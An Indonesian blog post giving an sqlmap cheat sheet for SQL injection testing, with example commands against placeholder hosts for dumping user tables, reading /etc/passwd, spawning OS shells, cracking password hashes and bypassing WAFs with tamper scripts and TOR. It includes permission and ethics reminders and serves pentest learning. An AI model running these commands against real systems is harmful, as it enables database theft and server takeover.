Tools Pentest: Cheat-sheet Lengkap Penggunaan Opsi pada SQLMAP

0


SQLmap adalah alat otomatis atau tool yang digunakan untuk mendeteksi dan mengeksploitasi kerentanan SQL Injection pada suatu website.

Dengan kata lain, sqlmap membantu para pentester atau bug hunter untuk menemukan celah keamanan pada suatu website. Yang di mana sebuah situs web memungkinkan seseorang menginjeksi atau menyisipkan perintah SQL ke dalam database melalui input pengguna seperti form login, URL, atau parameter lain.



Fungsi utama sqlmap, yaitu:

1. Mendeteksi celah SQL Injection secara otomatis pada suatu website.

2. Menentukan jenis database yang digunakan, misalnya: MySQL, PostgreSQL, MSSQL, Oracle, dll.

3. Mengekstrak data dari database, misalnya: tabel, kolom, username, dan password.

4. Setelah mendapatkan password, jika password berupa hash maka tool ini akan langsung mendekripsinya.

5. Bisa juga untuk mendapatkan Privilege Escalation, misalnya menjadi admin database.



Contoh penggunaan dasarnya, seperti:

Misalnya kamu ingin mengecek apakah suatu URL rentan atau mememiliki celah SQLi:


$sqlmap -u "https://target.com/index.php?id=1" --batch



Kalau kamu ingin melihat database ada database apa saja, gunakan opsi: --dbs


$sqlmap -u "https://target.com/index.php?id=1" --dbs



Berikut adalah cheat-sheet lengkap opsi-opsi penting dan kategori fungsionalnya.


Note: gunakan hanya pada target yang kamu miliki izin untuk melakukan pengetesan pentest/bug bounty/own lab. Gunakan dengan bijak.


Struktur umum perintahnya seperti:

$sqlmap -u "https://target.tld/page.php?id=1" [opsi-target] [opsi-detect] [opsi-enum] [opsi-exploit] [opsi-request] [opsi-output]



Opsi Target & Request (HTTP).


-u URL, --url=URL  >>  URL target. Biasanya berisi parameter yang akan diuji.


-g GUN  >>   untuk meload target dari Google dork.


-r FILE   >>   untuk meload request HTTP mentah (raw) dari file. Ini berguna untuk POST/headers/cookies komplek.


--data=STR   >>   data POST (contoh: username=admin&password=password).


--data-file=FILE  >>   ambil body POST dari file.


-p TESTPARAMETER   >>   test parameter yang akan diuji.

Contoh: -p id atau -p "id,cat"


--cookie=STRING  >>   untik mengirim cookie.


--cookie-file=FILE  >>   load cookie dari file Netscape format.


--headers=STRING  >>  custom headers (pisahkan dengan \n bila diperlukan).


--auth-type=TYPE  >>  tipe autentikasi HTTP (basic/digest/NTLM/...).

Ketik --help untuk pilihan tipe auth.


--auth-cred=USER:PASS  >>   kredensial autentikasi.


--proxy=PROXY  >>   gunakan proxy (misalnya: http://127.0.0.1:8080).


--proxy-cred=USER:PASS  >>  autentikasi proxy.


--proxy-file=FILE  >>   load proxy list.


--ignore-code=CODE  >>  abaikan kode atau respon HTTP tertentu.

Contoh: --ignore-code=404,503.


--ignore-proxy  >>  abaikan proxy (jika ada).


--base64  >>  kirim semua parameter sebagai base64 (khusus untuk target yang butuh encoding).



Opsi Detection & Testing.


--level=N (ganti N dengan nilai 1-5)   >>   test kedalaman. Payload lebih banyak jika nilainya makin naik.


--risk=N (ganti N dengan nilai 1-3)   >>  agresivitas payload. Semakin tinggi semakin berisiko/berisik.


--technique=TECH  >>  teknik yang digunakan (gabungan huruf):


B = Boolean-based blind

E = Error-based

U = UNION query

S = Stacked queries

T = Time-based blind

Q = Inline query


Contoh penggunaan: --technique=BE



--dbms=DBMS  >>   tetapkan DBMS secara eksplisit, misalnya: mysql, postgresql, mssql, oracle, dll.


--fingerprint  >>  tampilkan fingerprint DBMS.


--string=STR / --regexp=REGEXP  >>   gunakan string/regex untuk mendeteksi injeksi.


--prefix=STR / --suffix=STR  >>   tambahkan prefix/suffix di payload (untuk bypass parse).


--tables  >>   daftar tabel (digabung dengan -D nama_database).



Enumerasi (Information retrieval).


--dbs  >>  daftar database.


-D nama_database  >>  pilih database.


--tables  >>  daftar tabel pada DB yang dipilih. 

Contoh: -D nama_database --tables


-T TABLE  >>  pilih tabel.


--columns  >>  daftar kolom pada tabel.

Contoh: -D nama_database -T nama_table --columns.


--dump  >>  dump isi tabel/kolom.

Contoh: -D nama_database -T nama_table -C nama_kolom --dump


--dump-all  >>  dump semua database (hati-hati dan lambat).


--exclude-sysdbs  >>  kecualikan sistem DB saat menggunakan opsi --dbs.


--search=REGEXP  >>  cari nama tabel/kolom yang cocok.


--schema  >>  menampilkan schema.


--users / --passwords / --privileges / --roles  >>  enumerate users, password hashes, privileges, roles.


--current-user / --current-db  >>  informasi konteks.



Injection & Advanced Exploits.


--os-shell  >>  coba dapatkan OS shell interaktif.


--os-pwn  >>  jalankan serangkaian exploit untuk takeover OS (berisiko tinggi).


--os-cmd=CMD  >>  jalankan perintah OS pada target.


--sql-shell  >>  buka shell SQL interaktif.


--sql-query=QUERY  >>  jalankan query SQL spesifik.


--file-read=PATH  >>  baca file di filesystem server.

Contoh: /etc/passwd


--file-write=FILE dan --file-dest=DEST  >>  upload file lokal ke server (membutuhkan kondisi tertentu).


--os-smbrelay  >>  gunakan relay SMB (fitur lanjutan kadang butuh setup).



Brute-force & cracking.


--passwords  >>  enumerate password hashes.


--hash  >>  operasi terhadap hash tertentu (tergantung versi pada sqlmap).


--crack  >>  coba crack hash (butuh tool tambahan terintegrasi atau eksternal).



Pengaturan output & sesi.


--batch  >>  mode non-interaktif (jawab default otomatis biasanya langsung menjawab Y= ya atau C= continue).


--output-dir=DIR  >>  simpan hasil di folder tertentu.


--flush-session  >>  hapus data sesi untuk target.


--save / --restore  >>  simpan/restore sesi (jika tersedia).


--threads=N  >>  jumlah thread paralel isi dengan nilai angka.


--timeout=SECONDS  >>  timeout koneksi.


--retries=NUM  >>  jumlah percobaan ulang.


--delay=SECONDS  >>  jeda antar request.


--maxrate=REQS  >>  batas laju request per detik.


--batch  >>  ulang: otomatisasi prompts.



Opsi jaringan & anonimisasi.


--tor  >>  gunakan TOR.


--tor-type=[SOCKS4|SOCKS5]  >>  tipe TOR.


--check-tor  >>  verifikasi koneksi TOR.


--proxy / --proxy-cred — proxy biasa.



WAF / Tamper / Bypass.


--tamper=SCRIPT1,SCRIPT2  >>  jalankan skrip tamper (disediakan dengan sqlmap) untuk mengubah payload (space to comment, url encode, dll).


--identify-waf  >>  deteksi WAF.


--skip-waf  >>  coba lewati WAF (eksperimental)


--random-agent  >>  gunakan user-agent acak.



Output & logging.


-v LEVEL  >>  verbosity (0-6).


--output-dir=DIR  >>  lokasi penyimpanan hasil.


--batch  >>  non-interaktif (jangan tanya apa pun atau jawba otomatis).


--answers="KEY:VALUE,..."  >>  jawaban otomatis spesifik untuk prompt.

Contoh: --answers="follow=N,continue=Y"



Misc / Utility.


--help  >>  bantuan lengkap.


--help-quick  >>  ringkasan cepat.


--version  >>  versi sqlmap.


--check  >>  cek apakah target rentan (quick test).


--dependencies  >>  cek dependency.


--update  >>  update sqlmap (jika instalasi mendukung).



Contoh perintah umum (praktikal).


Quick fingerprint + daftar DB (non-interaktif):


$sqlmap -u "https://site.tld/page.php?id=1" -p id --dbs --batch



Dump tabel users di DB appdb:


$sqlmap -u "https://site.tld/page.php?id=1" -p id -D appdb -T users --columns --dump --batch



Tes dengan POST + cookie + level tinggi:


$sqlmap -u "https://site.tld/login.php" --data="user=admin&pass=1" --cookie="PHPSESSID=abc" --level=5 --risk=3 -p pass --batch



Bypass WAF dengan tamper (contoh):


$sqlmap -u "https://site.tld/page.php?id=1" -p id --tamper=space2comment --random-agent --level=3 --batch



Tips keamanan & etika.


1. Izin dulu: hanya uji pada target yang kamu miliki izin eksplisit.

2. Mulai konservatif: gunakan --level=1 --risk=1 untuk tes awal.

3. Catat aktivitas: simpan output untuk laporan pentest.

4. Jangan dump data sensitif tanpa izin.

5. Gunakan opsi --delay dan --timeout untuk mengurangi beban server.



Sumber & dokumentasi.


Lihat dokumentasi resmi sqlmap yang disertakan dengan tool (--help) atau repositori proyek untuk daftar opsi terupdate dan skrip tamper. Versi sqlmap berbeda sedikit pada nama/opsi; selalu periksa --help pada mesinmu.


Post a Comment

0 Comments

Ada pertanyaan? Tulis di kolom komentar atau klik dibawah ini ...

Post a Comment (0)